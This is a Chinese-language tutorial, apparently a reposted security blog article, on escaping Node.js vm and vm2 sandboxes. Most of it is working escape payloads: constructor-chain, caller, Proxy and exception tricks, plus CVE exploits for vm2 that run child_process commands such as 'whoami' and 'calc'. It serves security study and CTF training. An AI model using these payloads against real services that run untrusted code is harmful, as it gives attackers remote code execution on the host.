从0开始的Node.js-vm/vm2沙箱逃逸

admin 2026-05-03 04:30:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍了Node.js中vm/vm2模块的沙箱逃逸技术,从JavaScript与Node.js区别、沙箱概念入手,详细解析了vm模块API和三种作用域机制。核心展示了通过constructor链(如this.constructor.constructor)获取global对象实现RCE的逃逸手法,并指出原始类型变量无法用于逃逸的关键限制。文章提供了具体代码示例和逃逸原理分析,对安全研究人员具有实操参考价值。 综合评分: 85 文章分类: 漏洞分析,WEB安全,安全开发,红队,CTF


cover_image

从0开始的Node.js-vm/vm2沙箱逃逸

原创

G3ng4r G3ng4r

Zer0day安全

2026年4月25日 10:30 天津

在小说阅读器读本章

去阅读

0x01 沙箱逃逸初识

在学习沙箱逃逸之前,需要先明确的一些基本概念

JavaScript 和 Node.js 的区别

两者的主要区别在于这两种技术在 Web 应用程序开发中的应用方式,JavaScript 基本上是一种编程或脚本语言,可以在任何安装了 JavaScript 引擎的浏览器中运行,而 Node.js 是一个跨平台、后端、开源的 JavaScript 运行时环境,构建在 Chrome 的 V8 JavaScript 引擎之上,并在 Web 浏览器之外执行 JS 代码。简单来说:Node.js 是一个让 JavaScript 能够在服务端运行的环境

沙箱(sandbox)的基本概念

沙箱机制,或称沙盒技术,是一种安全技术,用于隔离运行中的程序,以防止程序对计算机系统造成未授权的更改或破坏。沙箱为程序提供了一个受限的执行环境,程序在这个环境中运行,就像孩子在沙盒中玩耍一样,可以自由活动,但不会影响到沙盒外的世界。让用户提交 JS 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,也是 CTF 的考察重点。为了不让恶意用户执行任意的 JS 代码,就需要确保其运行在沙箱中

沙箱,虚拟机和容器之间的区别

沙箱(sandbox)是应用/进程级别的安全隔离机制,核心是权限限制 + 环境隔离,把程序关在一个可控区域里,禁止访问外部系统、文件、硬件,防止风险扩散

虚拟机(VM)是硬件层面的虚拟化, 模拟出一整套 CPU、内存、磁盘、网卡等硬件,每台虚拟机都有独立的操作系统和内核,和宿主机、其他虚拟机完全隔绝

容器(Docker)是操作系统层面的虚拟化。 它共用宿主机内核,通过资源隔离和资源限制,只封装应用和依赖,不虚拟硬件

总结:沙箱、虚拟机和容器的核心区别在于隔离层级和实现机制:沙箱是一种安全隔离机制,虚拟机提供硬件级隔离,而 Docker 容器提供操作系统级隔离

Node.js 的沙箱创建

Node.js 中创建沙箱主要有三种方式:使用内置 vm 模块、使用 vm2 增强库以及采用进程隔离方案,其中 vm2 是当前最推荐的安全选择,内置 vm 模块因安全风险不建议用于生产环境

0x02 Node.js 的作用域

在 Node.js 的编程环境中,每个 JavaScript 文件都被视为一个独立的模块,它们各自拥有自己的私有作用域(或称为上下文)。这意味着,一个模块内部定义的变量、函数等默认情况下是无法被其他模块直接访问的。这种设计保证了模块之间的独立性和封装性,避免了全局命名空间的污染

模块作用域(Module Scope)

每个 Node.js 文件都被视为一个独立的模块。这些模块拥有它们自己的作用域,也就是说,一个模块中的变量、函数等默认不会影响到其他模块。这种设计使得模块之间天然隔离,减少了相互之间的干扰。

//test1.js
let name = 'Zer0day'

//test2.js
const whoami = require('./test1.js')
console.log(whoami.name) //输出undefined

require 只返回一个模块的导出对象,但是此时输出为 undefined,说明此时 test2.js 并没有导入 test1.js 的变量,需要使用元素输出的接口 exports

//test1.js
let name = 'Zer0day'
exports.name = name //使用exports接口导出变量name

//test2.js
const whoami = require('./test1.js')
console.log(whoami.name) //输出Zer0day

两包关系如图所示,接下来讲讲图中的 global 是什么

全局作用域(Global Scope)

在 Node.js 中,global 对象是一个全局对象,它的属性和方法在所有模块中都是可访问的。这包括了如 consoleprocessBuffer 等内置对象,以及任何直接添加到 global 对象上的自定义属性或方法。

//test1.js
global.name = 'Zer0day'

//test2.js
require('./test1.js')
console.log(name)

通过上面的例子可以看到,在输出 name 时,即使 test2.js 中没有定义 name 变量也可以直接使用 name 进行输出,test1.js 中的 name 也不需要使用 exports 进行导出,因为此时 name 已经挂载在 global 上了

但是,通常不推荐在全局作用域中添加大量自定义变量或函数,因为这可能会导致命名冲突和难以追踪的错误。

0x03 vm 模块 API

前面已经介绍了 Node.js 的作用域,设想如果创建一个新的作用域,让代码在这个新的作用域里面去运行,就能与其他作用域进行隔离,事实上这就是 vm 模块运行的原理,首先介绍 vm 模块常用 API

vm.runinThisContext(code)

在当前 global(全局上下文)下创建一个作用域,并将接收到的参数当作代码运行。sandbox 中可以访问到 global 中的属性,但无法访问其他包中的属性

const vm = require('vm')
let localName = 'Zer0day'
const sandboxName = vm.runInThisContext('name = "G3ng4r"')
console.log(sandboxName) //G3ng4r
console.log(localName)   //Zer0day(当前模块作用域的localName并没有被vm影响)

注意:在 JavaScript 中,赋值操作符不仅会把右边的值赋给左边,它还会返回这个被赋的值,例子中 rename 的值实际上是 vm 的运行结果返回

vm.createContext([sandbox])

传入的 sandbox 对象被绑定到 V8 的新 context,在当前 global 对象之外创建一个全新的作用域,沙箱内运行的代码会将 sandbox 的属性视为全局变量,除非显式传入否则沙箱内无法直接访问 Node.js 的全局对象。配合下面的 vm.runInContext() 使用

vm.runInContext(code, contextifiedSandbox[, options])

参数为要执行的代码和创建完作用域的沙箱对象,将对象”上下文化”,使其成为独立执行环境的全局对象,在指定沙箱环境中编译并执行 JavaScript 代码,并且参数的值与沙箱内的参数值相同

const util = require('util')
const vm = require('vm')
global.globalVar = 333
const sandbox = { globalVar : 111 }
vm.createContext(sandbox)
vm.runInContext('globalVar *= 2',sandbox)
console.log(util.inspect(globalVar))         //333
console.log(util.inspect(sandbox.globalVar)) //222

vm.runInNewContext(code,[, sandbox][, options])

creatContext 和 runInContext 的结合版,传入要执行的代码和沙箱对象

const util = require('util')
const vm = require('vm')
global.globalVar = 333
const sandbox = { globalVar : 111 }
vm.runInNewContext('globalVar *= 2',sandbox)
console.log(util.inspect(globalVar))         //333
console.log(util.inspect(sandbox.globalVar)) //222

vm.Script 类

Node.js 内置 vm 模块提供的类,用于编译但不执行 JavaScript 代码,编译后的脚本可以被多次执行,并且允许自定义全局对象和执行环境

new vm.Script(code, options):code 是不绑定于任何全局对象的,它仅仅绑定于每次执行它的对象

script.runInContext([contextifiedSandbox[, options]]): 在指定的上下文中执行预编译的脚本

script.runInNewContext([sandbox[, options]]): 创建一个新的上下文并在其中执行脚本

const util = require('util')
const vm = require('vm')
const sandbox = {
    school : 'tjut',
    grade : 1,
    team : 'Zer0day'
}
const script = new vm.Script('school = "TUT";grade += 1;student = "G3ng4r"')
//将sandbox的引用传入V8上下文
const context = vm.createContext(sandbox)
//执行预编译脚本
script.runInContext(context)
console.log(util.inspect(sandbox)) //{ school: 'TUT', grade: 2, team: 'Zer0day', student: 'G3ng4r' }

0x04 vm 沙箱逃逸

一般进行沙箱逃逸最后的目的都是进行 rce,在 Node 中进行 rce 就需要获取 process 对象,用 require 来导入 child_process,再利用 child_process 执行命令,这就是 Node 中最常规的 rce 过程

但 process 挂载在 global 上,而在 creatContext 后是不能访问到 global 的,所以我们最终的目标是通过各种办法将 global 上的 process 引入到沙箱中:

.constructor.constructor / .toString.constructor

const vm = require("vm")
const demo = vm.runInNewContext(`this.constructor.constructor('return process.env')()`)
console.log(demo)

成功输出了 env 内容,为什么能在 vm.runInNewContext 中拿到 process 呢,this 指向的是 this 指向的是当前传递给 runInNewContext 的对象,该对象不属于沙箱环境内部,利用 .constructor 获取该对象的构造器 Function,再利用 .constructor 获取 Function 的构造器,由这层继承关系 Function.constructor 位于 global 中,利用其构造返回 process 的函数,最后通过 () 调用获取 process 对象

类似的,this.toString.constructor 也能获取到 Function.constructor 完成获取目的,完成 rce:

const vm = require("vm")
const proc = vm.runInNewContext(`this.toString.constructor('return process')()`)
console.log(proc.mainModule.require('child_process').execSync('whoami').toString())

除了 this 还有什么能在沙箱中通过继承关系逃逸出来呢?可以尝试利用沙箱中的变量吗

const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(`
(Zer0day => {
    const demmo = a.toString.constructor('return process')()
    return demo.mainModule.require('child_process').execSync('whoami').toString()
})()
`);
const sandbox = {a: 114, b : '514', c : true};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);

以上三个变量都逃逸失败”ReferenceError: process is not defined”,因为数字,字符串,布尔(包括)这些都是 primitive 类型(原始类型,也称基本数据类型),在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),因此沙盒内使用的 a,b,c 只是它们的值而不是其本身,相当于在沙箱中直接声明,这是没有办法利用的

const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(`
(zer0day => {
    // const demmo = a.toString.constructor('return process')()
    // const demmo = b.toString.constructor('return process')()
    const demo = c.toString.constructor('return process')()
    return demo.mainModule.require('child_process').execSync('whoami').toString()
})()
`);
const sandbox = {a: 114, b : '514', c : true};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);

但是可以将其设为 [] , {} 这样的对象实例类型,内置构造/自定义函数

const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(`
(Zer0day => {
    const demo = c.constructor.constructor('return process')()
    return demo.mainModule.require('child_process').execSync('whoami').toString()
})()
`);
const sandbox = {a: [], b : {}, c : /cillo/};
//实例对象: {} [] /regex/
//内置构造函数: String Number Symbol BigInt Array Object Function RegExp Data Error TypeError SyntaxError Map Set WeakMap WeakSet ArrayBuffer DataView
//自定义函数: ()=>{}  function(){}
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);

arguments.callee.caller

下面的例子中 this 为 null,并且也没有其他可以引用的对象

const vm = require('vm');
const script = `xxx`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Cillo ' + res)

但是在函数中存在内置对象的属性 arguments.callee.caller,它可以返回函数的调用者

arguments:一个类数组对象,存在于每一个正在执行的函数内部,包含传递给该函数的所有参数

arguments.callee:rguments 对象的一个属性,它指向当前正在执行的函数本身

arguments.callee.caller:这是 Function 对象的一个属性(caller),指向调用当前函数的那个函数,如果当前函数是在全局作用域被调用的(没有父函数),返回 null

利用好 arguments.callee.caller 完成沙箱外对象的获取

const vm = require('vm');
const script =
`(() => {
    const demo = {}
    // 重写toString()
    demo.toString = function () {
      // 获取调用该函数的对象
      const c = arguments.callee.caller;
      // 沙箱逃逸获取process
      const p = (c.constructor.constructor('return process'))();
      // 完成rce
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    // 返回该对象
    return demo
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Cillo ' + res)

前面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下其实也是一样的,只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的 arguments.callee.caller 就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了,比如说例子中 console.log 通过字符串拼接的方式触发 toString() 函数,我们就对 res 的 toString() 进行重写触发 rce

Proxy 劫持属性

触发利用链的逻辑就是我们在 get: 这个钩子里写了一个恶意函数,当我们在沙箱外访问 proxy 对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了 rce

const vm = require("vm");

const script =
`
(() =>{
    const demo = new Proxy({}, {
        get: function(){
            const c = arguments.callee.caller;
            const p = (c.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return demo
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.Zer0day)

异常抛出

如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值,可以借助异常,将沙箱内的对象抛出去,在外部输出:

const vm = require("vm");

const script =
`
    throw new Proxy({}, {
        get: function(){
            const c = arguments.callee.caller;
            const p = (c.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`

try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e)
}

抛出后 catch 捕获到了 throw 出的 proxy 对象,在 console.log 时由于将字符串与对象拼接,将报错信息和 rce 的回显一起带了出来,所以说结合题目提供源码具体分析应对

0x05 vm2 沙箱逃逸

不难看出 vm 模块的沙箱仍存在很大的安全风险,因此 Node 后续升级了 vm,也就是现在的 vm2 沙箱,在 vm 的基础上,通过 es6 新增的代理机制,来拦截对外部属性的访问

vm2 API

vm2 的代码包中主要有四个文件 cli.js,contextify.js,main.js 和 sandbox.js

  • • cli.js:实现 vm2 的命令行调用
  • • contextify.js:封装了三个对象, Contextify 和 Decontextify ,并且针对 global 的 Buffer 类进行了代理
  • • main.js:vm2 执行的入口,导出了 NodeVMVM 这两个沙箱环境,还有一个 VMScript 实际上是封装了 vm.Script
  • • sadbox.js:针对 global 的一些函数和变量进行了 hook,比如 setTimeoutsetInterval 等

vm2 相比 vm 做了很大的改进,其中之一就是利用了 es6 新增的 proxy 特性,从而拦截对诸如 constructor 和 proto 这些属性的访问

const {VM, VMScript} = require("vm2");
const script = new VMScript("let a = 3;a");
let vm = new VM()
console.log(vm.run(script));

其中 VM 是 vm2 在 vm 的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本

当我们创建一个 VM 的对象的时候,vm2 内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2 最核心的操作就在于针对 context 的封装,具体的封装上下文过程 https://www.anquanke.com/post/id/207283

Decontextify.instance 利用

vm2 会为对象配置代理并初始化,如果对象是以下类型:

就会 return Decontextify.instance 函数,这个函数中用到了 Symbol 全局对象,我们可以通过劫持 Symbol 对象的 getter 并抛出异常,接着在沙箱内拿到这个异常对象

Symbol = {
  get toStringTag(){
    throw f=>f.constructor("return process")()
  }
};
try{
  Buffer.from(new Map());
}catch(f){
  Symbol = {};
  f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

has 方法未代理

漏洞原理:箱中自己定义了 Object.prototype.has() 方法,在该方法里面通过获取 t 变量(也就是主键)的构造器,然后再返回 process 对象,通过 "" in Buffer.from 来触发 has 方法来实现返回 process 对象

const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
    process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

prepareStackTrace 攻击

vm2 版本 <3.9.10

覆盖 prepareStackTrace 导致沙箱逃逸,直接给自定义了一个变量 LocalWeakMap 存储了 WeakMap 方法对应的 get 和 set,这样即使对 WeakMap.prototype.set 重写了,最后 set 的时候也是调用的是 localWeakMap.Set

const&nbsp;{ set } =&nbsp;WeakMap.prototype;
WeakMap.prototype.set&nbsp;=&nbsp;function(v) {
&nbsp; &nbsp; return&nbsp;set.call(this, v, v);
};
Error.prepareStackTrace&nbsp;=
Error.prepareStackTrace&nbsp;=
(_, c) =>&nbsp;c.map(c&nbsp;=>&nbsp;c.getThis()).find(a&nbsp;=>&nbsp;a);
const&nbsp;{ stack } =&nbsp;new&nbsp;Error();
Error.prepareStackTrace&nbsp;=&nbsp;undefined;
stack.process

vm2 沙箱逃逸 CVE

具体参考 https://www.cnblogs.com/zpchcbd/p/16899212.html

CVE-2019-10761

vm2 版本 <=3.6.10

漏洞原理:在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,在沙箱内 catch 这个异常对象,就拿到了一个沙箱外的对象

"use strict";
const&nbsp;{VM} =&nbsp;require('vm2');
const&nbsp;untrusted =&nbsp;`
const f = Buffer.prototype.write;
const ft = {
&nbsp; &nbsp; &nbsp; &nbsp; length: 10,
&nbsp; &nbsp; &nbsp; &nbsp; utf8Write(){

&nbsp; &nbsp; &nbsp; &nbsp; }
}
function r(i){
&nbsp; &nbsp; var x = 0;
&nbsp; &nbsp; try{
&nbsp; &nbsp; &nbsp; &nbsp; x = r(i);
&nbsp; &nbsp; }catch(e){}
&nbsp; &nbsp; if(typeof(x)!=='number')
&nbsp; &nbsp; &nbsp; &nbsp; return x;
&nbsp; &nbsp; if(x!==i)
&nbsp; &nbsp; &nbsp; &nbsp; return x+1;
&nbsp; &nbsp; try{
&nbsp; &nbsp; &nbsp; &nbsp; f.call(ft);
&nbsp; &nbsp; }catch(e){
&nbsp; &nbsp; &nbsp; &nbsp; return e;
&nbsp; &nbsp; }
&nbsp; &nbsp; return null;
}
var i=1;
while(1){
&nbsp; &nbsp; try{
&nbsp; &nbsp; &nbsp; &nbsp; i=r(i).constructor.constructor("return process")();
&nbsp; &nbsp; &nbsp; &nbsp; break;
&nbsp; &nbsp; }catch(x){
&nbsp; &nbsp; &nbsp; &nbsp; i++;
&nbsp; &nbsp; }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
&nbsp; &nbsp; console.log(new&nbsp;VM().run(untrusted));
}catch(x){
&nbsp; &nbsp; console.log(x);
}

CVE-2021-23449

vm2 版本 <3.9.5

漏洞原理:import() 在 JavaScript 中是一个语法结构而非函数,没法通过之前对 require 这种函数处理相同的方法来处理它,导致实际上调用 import() 的结果实际上是没有经过沙箱的外部变量,再获取这个变量的属性即可绕过沙箱

vm2 对此的修复方法也很粗糙,正则匹配并替换了\bimport\b 关键字,在编译失败的时候,报 Dynamic Import not supported 错误

let&nbsp;res =&nbsp;import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

CVE-2022-36067

vm2 版本 <3.9.11

漏洞原理:在 3.9.10 中并没有对 Error 做相关的限制,导致可以重新定义一个 Error 来绕过对 LocalErrorprepareStackTrace 的操作,就是我们通过实例化 Error 对象就可以获得栈的情况,其中 prepareStackTrace() 函数定义了如何对异常的栈的处理,我们这边进行重写,因为栈中不仅包含了沙箱的栈还包含了其他作用域下的栈,那么思路就出来了,我们只需要通过遍历栈中的对象,拿到全局作用域下的 process 即可进行逃逸

globalThis.OldError=globalThis.Error;
globalThis.Error={}
globalThis.Error.prepareStackTrace=(errStr,traces)=>{
&nbsp; &nbsp; traces[0].getThis().process.mainModule.require('child_process').execSync('calc')
}
const&nbsp;{stack}=new&nbsp;globalThis.OldError

CVE-2026-22709

vm2 <= 3.10.0

vm2 使用 Promise 的 then 和 catch 方法时,对回调函数的清理存在缺陷: localPromise.prototype.then 的回调被正确清理 , 但 globalPromise.prototype.then/catch的回调未被清理 ,async 函数返回的是 globalPromise 对象,而非 localPromise ,可以通过 async 函数配合异常处理,获取宿主环境的对象引用,进而实现沙箱逃逸

const&nbsp;{&nbsp;VM&nbsp;} =&nbsp;require("vm2");

const&nbsp;code =&nbsp;`
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
&nbsp; &nbsp; const Error = e.constructor;
&nbsp; &nbsp; const Function = Error.constructor;
&nbsp; &nbsp; const f = new Function(
&nbsp; &nbsp; &nbsp; &nbsp; "process.mainModule.require('child_process').execSync('calc')"
&nbsp; &nbsp; );
&nbsp; &nbsp; f();
});
`;

new&nbsp;VM().run(code);

更多 vm2 逃逸攻击

https://github.com/patriksimek/vm2/blob/master/test/vm.js

感谢阅读。才疏学浅,如有纰漏欢迎指正

参考文章

https://xz.aliyun.com/news/11305

https://xz.aliyun.com/news/14596

https://xz.aliyun.com/news/91455

https://zhuanlan.zhihu.com/p/543072560

https://zhuanlan.zhihu.com/p/2015171265678304778

https://www.anquanke.com/post/id/207283

https://www.cnblogs.com/zpchcbd/p/16899212.html


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zer0day安全 G3ng4r G3ng4r《从0开始的Node.js-vm/vm2沙箱逃逸》

评论:0   参与:  0